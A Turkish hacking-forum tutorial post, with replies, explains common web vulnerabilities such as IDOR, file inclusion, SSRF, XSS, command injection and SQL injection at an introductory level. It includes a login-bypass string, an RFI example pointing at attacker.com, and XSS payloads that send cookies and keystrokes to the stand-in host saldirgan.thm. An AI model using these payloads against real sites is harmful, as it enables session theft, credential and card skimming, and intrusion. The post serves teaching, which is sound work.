İnternet Sitelerini Anlamak (Güvenlik Açıkları) [3]

Privarp

Anka Team Junior
8 Nis 2022
119
39
İnternet Sitelerinde Güvenlik Açıkları: Bugün bahsedeceğimiz Güvenlik açıkları:
Kimlik Doğrulama ByPass
İDOR Güvenlik Açığı
File Inclusion Güvenlik Açığı
SSRF Güvenlik Açığı
Cross-Site Scripting (XSS)
Command İnjection
SQL İnjection



Kimlik Doğrulama ByPass: Bu açık normalde kullanıcıların kimliklerini doğrulamarı gereken bir yerde bu doğrulamayı atlayarak veya manüpile ederek sisteme erişmeyi sağlar. Login Bypass olarak bahsedilen açık çoğunlukla bu zafiyette ortaya çıkar. Örnek vermek gerekirse google dorkları ile admin panelini buldunuz ve sistemi manüpile edecek bir kodu hem kullanıcı adı hem şifre bölümüne yazdınız (örnek "Or'='Or") ardından sistem Or'u Or'a eşit görecek ve kavram olarak sonuç true döndürecek ve girilen bilgileri doğru sayacak ardından sizi admin panele alacak sizde siteye basitçe sızmış olacaksınız.


İDOR Güvenlik Açığı: İDOR Erişim denetimi güvenlik açığıdır yani web sunucuya bir istek atıldığında isteği talep edilen içeriğin uygun olup olmadığını kontrol etmeden göndermesi durumunda ortaya çıkar. Örnek olarak alışveriş yaptığınızda adres bilgilerinizi bir sitede detaylar için görebilirsiniz ancak id değerini rastgele olarak değiştirdiğinizde başka bir kullanıcının bilgilerini görmeniz durumunda bir İDOR güvenlik açığı mevcuttur demektir.


İDOR Güvenlik Açığı Olası Durumlar: İDOR Güvenlik açığı her zaman linkte çıkacak bir açık değildir yani linkte şifreleme yapılabilir
9e5ox0h.png

Örneği ekledim burada web sunucusuna gönderilirken değer base64 ile kodlanıyor ve bu şekilde sunucuya gönderiliyor bazı araçlar ile bu sunucuya gönderilen bilgiler yakalandığında bu değeri elde edersek önce bu kodlama değeri çözülür ardından diyelim "id":30 değerini aldık sonrasında id'yi değiştirerek sömürmeye çalışırız ve daha sonrasında tekrardan bu id encode edilir ve sunucuya bu şekilde gönderilir. yani burada değinmek istediğim şey her zaman açık olarak verilmemiş olan değerlerde yapılabilecek senaryoyu anlatmak istedim.

İDOR Hash Algoritması: Gönderilen değer hash algoritması ile şifrelendi ise kırmak daha zor olabilir eğer şanslı isek daha önceden kırılmış bir değerdir ve hashes gibi sitelerden bulabiliriz eğer yoksa hashi bir kırma süreci vardır.

İDOR Bulma Yöntemi: İDOR Zafiyetini bulmak için en az iki hesap açarak 1. hesapta 1. hesaba özgün bir yer belirlenir ve 2.hesapta bu yere gitmek için istek göndeririz eğer kontrol edilmiyorsa mevcutr bir açık vardır daha anlaşılabilir olsun diye şöyle anlatayım
Mehmet: "site.com/user/details?user_id=123" adresinde
Ahmet: "site.com/user/details?user_id=123" bölümüne gitmek için istek gönderir ve eğer kontrol edilmezse İDOR güvenlik açığı oluşur ardından ahmet mehmetin kullanıcı detaylarını görür.


File Inclusion nedir: Bu başlık altında File Inclusion açığı nedir onu anlatacağım. Bu başlık altında 3 alt başlık şeklinde anlatacağım
Local File Inclusion (LFI)
Remote File Inclusion (RFI)
Directory Traversal

Local File Inclusion (LFI): Mevcut bir sitede bir dosya yüklemeniz için bir alan bulunuyorsa ve doğru kısıtlamalar yoksa zararlı bir dosya yüklenebilir.
Örnek olarak: Bir sitede kullanıcı CV'sini isteyen bir bölüm var bunu mehmetCV.pdf şeklinde yüklersek sunucuya bir istek göndeririz eğer kısıtlama yapılırsa bu sunucuda /var/www/app içerisindeki dosyalarda bu işlemi görmesi gerekiyor ancak kısıtlama yapılmazsa sunucuda daha derinlerde arama yapabilir ve önemli bilgi barındıran dosyalara erişim sağlayabilir. (Aynı zamanda doğrudan sunucuyu ele geçirebileceğiniz bir güvenlik açığı ancak genel olarak sunucuda dosya okuma işlemi yapan bir güvenlik açığıdır)

Directory Traversal: Bu güvenlik açığında sunucudaki erişilmemesi gereken dosyalara ulaşılabilir bu güvenlik açığını ortaya çıkaran şey yeterli kimlik doğrulamasının kullanılmaması ve özel karakterlere kısıtlama uygulanmaması halinde ortaya çıkar
ectopma.png

Kullanıcıların sunucuya gönderdiği istekte onun izinlerini kontrol etmeden cevap verirse oluşacak bir güvenlik açığıdır dediğim gibi.

Remote File Inclusion (RFI): Mevcut web sitenizde bir shell bulunduğunu farz edelim bu sitenin urlsi attacker.com/cmd.txt olsun biz bu urlyi kopyalayıp dosya yüklenecek bir bölüme bu site urlsini yazarak uzak sunucuda bulunan bir shell dosyayı ile mevcut sunucudaymış gibi işleme alıp zararlı bir dosyayı sunucuya yüklemek olarak geçebilir.
a5gsnzf.png

Bu örnekte görebileceğiniz gibi saldırgan cmd.txt adlı bir dosyayı sanki mevcut sunucudaymış gibi uzak bir sunucudan yükleme yapıyor ve bir güvenlik açığını sömürebiliyor.

SSRF Güvenlik Açığı Nedir: Sunucu taraflı istek sahteliği olarak türkçeleştirilebilir. Bu güvenlik açığı farklı bir sunucudan hedef sistem üzerinde ek veya düzenlenmiş http isteği yapmasına neden olan bir güvenlik açığıdır yani siz a.com sitesindesiniz diyelim parola değişmek istiyorsunuz işlemi a.com sitesinde yapıyorsunuz ancak işlem b.com sitesinde gerçekleşiyor ve bu bilgileri saldırgana aktarıyor. İki tür SSRF Güvenlik açığı vardır.
1. Normal bir şekilde saldırgana bilgiler döndürülür.
2. Kör Saldırı (Blind) olarak geçer ve saldırgana bilgiler döndürülmez.

SSRF Güvenlik Açığı Örneği: Diyelim ki amazon gibi bir site var bu sitede bir şeyler satılıyor ve kullanıcı bir şey satın almak istediğinde sunucu bunu genellikle performans açısından başka bir sunucudan çekiyor bunu bir bakkal ve bakkala dağıtım yapan kamyon gibi düşünebilirsiniz örnek olarak:
suwrhtq.png

Kullanıcı bir istek gönderdiğinde website api.websiteye yani başka bir sunucuya istek gönderip kullanıcının istediği veriyi ona geri iletir bunun yapılması performans ve düzen açısından önemlidir ancak bu şekilde olduğunda bazı güvenlik açıkları ortaya çıkabiliyor öncelikle normalde yaşanan sorguya bakalım
tkuu5ky.png

Bu normalde olan istektir ancak saldırgan bu veri alışverişindeki oluşabilecek zafiyetleri sömürebilir oda şu şekil olur
d2tp720.png

Burada saldırgan belirli araçlarla normal yapıyı yani http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123 bu yapıyı yukarıda gördüğünüz gibi http://website.thm/stock?url=http://api.website.thm/api/user olarak sistemdeki kullanıcı bilgilerini çekmek için istek gönderiyor bu isteği website.thm'ye gönderiyor website.thm'de api.website.thm'ye gönderip size geri dönüş yapıyor ve eğer başarılı olursa kullanıcı bilgilerini ele geçiriyor.

SSRF Nasıl Bulunur: SSRF Güvenlik açığını tespit etmek için 3 yüksek ihtimal vardır
İlk olarak web sitesinde
ki81v0o.png

Hedef web sitede böyle bir url mevcutsa güvenlik açığı mevcut olabilir çünkü website.thm server.website.thm ile iletişime geçiyor burada araya girerek SSRF güvenlik açığı sömürülebilir.

2. Olarak Sayfa kaynak kodunda hedef web site ile iletişime geçen bir sunucuyu tespit edebiliriz bunu örnek ile açıklamak daha kolay olacaktır.
mjw1wp3.png

Gördüğünüz gibi sayfanın kaynak kodunda server.website.thm adında bir farklı sunucu ile karşılaşıyoruz.

3. Olarak URL yapısında
jyhdgeh.png

şu şekilde api varsa yine SSRF ile uğraşıp açığı sömürme ihtimalimizin var olduğunu söyleyebiliriz ilk 2 tespit daha kolay olduğundan sizlere tavsiyem SSRF için kaynak kodu ve urldeki başka sunucular ile iletişimi gözetlemek olacaktır.


XSS Nedir: XSS Siteler arası komut dosyası çalıştırmayı sağlayabilecek bir güvenlik açığıdır. Bu güvenlik açığı istismar edilerek javascript kodları sisteme enjekte edilebilir. Genellikle belirli karakterleri engelleyerek XSS Güvenlik açığını en aza indirebilirsiniz.

XSS Payloadları: XSS Açığı tespit edilen sitelerde özellikle 3 amaç doğrultusunda xss payloadları kullanılabilir

İlk olarak tespit etmenin en kolay yolu olan <script>alert(1)</script> payloadıdır.

İkinci olarak <script>fetch('https://saldirgan.thm/steal?cookie=' + btoa(document.cookie));</script>bu payload ile kimlikler yani cookie bilgileri saldırganın eline geçebilir

Üçüncü olarak <script>document.onkeypress = function(e) { fetch(' https://saldirgan.thm/log?key=' + btoa(e.key) );}<script> Bunu keylogger olarak düşünebilirsiniz kredi kartı girilen bir web sitesinde oldukça tehlikeli bir payloaddır

XSS Türleri: Anlatacağımız 3 Adet XSS Türü vardır.

XSS Reflected: İlk olarak Reflected nedir kullanıcı tarafından girilen değerin kontrol edilmemesi sebebiyle sayfa kaynak koduna dahil olmasına denilebilir yani girdiğiniz değerin sayfa kaynak koduna dahil olması ile bir güvenlik açığını istismar edebilirsiniz. Çok tehlikeli bir tür değildir

XSS Stored: XSS Stored saldırganın bir payload enjekte etmesi ile 'veritabanına' kayıt edilmesi sonucu kalıcı bir payload olmasını sağlar tehlikeli bir türdür. İlgili sayfaya gelen bütün kullanıcılar bu saldırıdan etkilenir.

DOM Tabanlı XSS: Hedef web sitede xss açığı bulunduğunda kendi web sitenize yönlendirebilecek bir payload enjekte edip başka kullanıcılara, insanlara bu hedef web siteyi attığınızda güvenilir bir siteyi atıyormuş gibi gözükür ancak ardından sizin sitenize yönlendirilir bu daha çok büyük şirketlerde oluşabilecek bir türdür bug bounty için güzel bir açık türüdür çünkü size biri youtube.com linki attığında güvenilir olduğu için tıklarsınız ancak eğer xss açığı sayesinde kendi sitenize yönlendirip kullanıcıya zarar verirseniz bu youtube için büyük bir sorundur.


Command Injection Nedir: Komut enjeksiyonu olarak geçer web uygulaması üzerinden işletim sistemi komutlarının çalıştırılmasına sebep olan bir güvenlik açığıdır.

Command Injectio Açığı Keşifi: Bu açığı keşfetmek için örnek olarak
2im367r.png

Burada bir şarkı araması için başlık istenmiş ardından kullanıcıdan alınan başlık sontitle.txt dosyasının başına kullanıcıdan alınan başlık grep aracı ile bu txt'nin içerisinde aranıyor. sonra varsa var yoksa yok şeklinde sonuç gösteriliyor. Kullanıcıdan GET Methodu ile alınan veri bir filtreme yani bir tedbire tabi tutulmazsa bir güvenlik açığı oluşabilir ve saldırgan farklı dosya içeriklerini görüntülemeye çalışabilir.

Command Injectıon Açığı Sömürme Örneği: Keşfetmeyi ve ne olduğunu anladıysak birde nasıl sömürebileceğimizi ufak bir örnekle gösterelim.
m32twq0.png

Burada bir web sunucusunda çalışan bir script var kendisine girilen değeri doğrudan sistemde çalıştırmayı hedefleyen bir python scripti fazla üstüne düşmüyorum sadece bir örnek göstererek akılda kalıcılığını sağlamak istedim.


SQL Injection Nedir: Kötü amaçlı sorguların yürütülmesine neden olan veritabanına yönelik bir saldırıdır kullanıcıdan gelen girdiyi kontrol etmez ve önlemini almazsa tüm veritabanına erişilebilir en zararlı güvenlik açıklarındandır.

SQL Injection Anlamak: Örnekler üzerinden anlatacağım öncelikle bir site varsayalım "site.com/blog?id=1" bu şekilde bir site urlsi varsa arka planda muhtemelen blog tablosundan id=1 değeri olan veriyi getiriyor burada önemli olan id=1'dir id=2 olduğu zaman başka bir içerik karşımıza gelebilir. id değerinin sonunda id=2;-- şeklinde bir ekleme yapılırsa sorgu değiştirilir ; sorgunun bitmesi demek -- demekte kendisinden sonraki komutların yorum satırı olarak geçmesini sağlar sistem tarafından -- ; gibi karakterler engellenmediği zaman güvenlik açıkları oluşabilir.

SQL Injection Türleri Nelerdir: Bizim bahsedeceğimiz 3 adet SQL Injection türü vardır bunlar sırasıyla In-Band (Bant İçi), Blind (Kör), Out-of-band (Bant Dışı) şeklindedir.

In-Band SQL Injection: Bu başlığı iki alt başlık altında inceleyeceğiz Error-Based Union-Based Olarak ikiye ayrılır. Bu iki alt başlık dışında In-Band klasik ve kolay bir SQL Injection saldırısıdır bant için iletişim kanalları aynı olduğu için saldırıda zorlanılmaz.

Error-Based (Hata Tabanlı) SQL Injection: Hata tabanlı SQL enjeksiyonu veri tabanı sunucu tarafından gönderilen hata mesajlarını kullanarak veri tabanı yapısı hakkında bilgi edilinir. Bu sayede saldırgan tablo adları gibi verileri elde edebilir.

Union-Based (Union Tabanlı) SQL Injection: Union tabanlı SQL enjeksiyonu UNION operatörünü kullanarak birden fazla SELECT sorgusunu tek bir http yanıtında birleştirerek istenilen verileri elde eder. Ancak UNION sorgusunun çalışması için sorguların aynı veri türü sütun sayısında olması gerekmektedir deneme yanılma yöntemi ile bulunabilir bu sütunlar.

Blind SQL Injection: Kör SQL Enjeksiyonu olarak geçer bu türde saldırgan veri yükleri gönderir ve veri tabanı suncusunun davranışlarını gözlemleyerek veri tabanı hakkında bilgi sahibi olur. Blind SQL Injection iki türdür.

Blind-Boolean-Based SQL Injection: Adından da anlaşılacağı üzere boolean yani doğru yada yanlış'ın farklı sonuçlarını döndürmeye zorlayan SQL sorguları gönderir. Bu sayede birden fazla çeşitli sorgular göndererek güvenlik açığını belirleyebilir.

Time-Based Blind SQLİ: Yine adından da anlaşılacağı üzere zamana dayalı bir türdür bu türde veritabanına bir sorgu gönderilir yanıt vermeden önce beklemeye zorlar yani time.sleep(15) gibi düşünün bu sorguyu göndererek 15 saniye bekletilir.

Out-of-Band SQL Injection: Bant dışı SQL enjeksiyonu saldırganın saldırı başlatmak için aynı kanalı kullanmadığında gerçekleşir. Bant dışı enjeksiyonu saldırısında saldırganlar veri almak için DNS veya HTTP isteklerinden yararlanır ancak kolay bir seçenek değildir.


Bu kadardı sonda biraz az örnek ve resim verdim ancak SQL enjeksiyonunu anlatmakta biraz zorlandığım için kısa özetlerle yetindim. İleriki konularda Burp Suite gibi aracını konu almayı düşünüyorum genel olarak internette aratıp bulabileceğiniz bilgiler ancak ben temelden sonuna kadar anlatabildiğimi anlatmak istedim böylece bir seride konuyu kavramış olabilirsiniz diye düşündüm tavsiyeleriniz varsa bekliyorum.
 
Son düzenleme:

'pump

Uzman üye
9 Ara 2022
1,436
3,130
Ağ Kablolarında Geziyor
dostum çok fazla teorik gitmişsin, ve uygulama resimleri de sana ait değil, tryhackme de ki odalara ait , ve kalitesi de düşük, ve konunun çoğunluğu aşırı renksiz uyumsuz sade olmuş, bunları dikkate almanı öneririm , açıklamalar sana mi ait peki?
 

Privarp

Anka Team Junior
8 Nis 2022
119
39
dostum çok fazla teorik gitmişsin, ve uygulama resimleri de sana ait değil, tryhackme de ki odalara ait , ve kalitesi de düşük, ve konunun çoğunluğu aşırı renksiz uyumsuz sade olmuş, bunları dikkate almanı öneririm , açıklamalar sana mi ait peki?
Açıklamaların tamamı bana ait resimler tryhackme den alıntı olduğu için biraz kalite düşük olabilir bir de bu serileri 1 günde yaptığım için çok yoruldum renkleri falan ayarlayamadım zaten amacım genel olarak ne olduklarını anlatmak nasıl yapıldığına fazla düşmedim sadece insanların kafasında bazı şeyleri oturtmak istiyorum o yüzden başladım zaten seriye. Dediğim gibi son anlarda da baya yoruldum sql injection bölümünde resim bile koymadım ama sonraki konularda daha yavaş ama detaya daha fazla gireceğim birde bu resimleri tool falan olduğu zaman kendim kaliden çekiyorum eğer tool falan yoksa direk internetten bulduğum fotoğraftları ekliyorum.
 

'pump

Uzman üye
9 Ara 2022
1,436
3,130
Ağ Kablolarında Geziyor
zaten amacım genel olarak ne olduklarını anlatmak
işte bende diyorum ki forumda bile belki bine yakın bu tarz konu vardır, güzel içerik farklı içerik çıkarmak istiyorsan , bu tarz şeylerle kendini yoracağına uygulamaya geç derim hatta uygulamanin en basit halinden bile yine 500 e yakın konu vardır. Dediğimi yaparsan kendini gelistirirsin, hem forumda konun öne çıkar , yoksa o bin tane senin gibi konunda forumun derinliklerinde kaybolur.
Eline sağlık ama bunun için boşa yorulmuşsun.
daha yavaş ama detaya daha fazla gireceğim
Ben yinede soylimde nasıl yaparsın artik sana kalmış,ha benim buradan çıkarım da yok senin için söylüyorum yanlış anlama.


kolay gelsin iyi çalışmalar.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.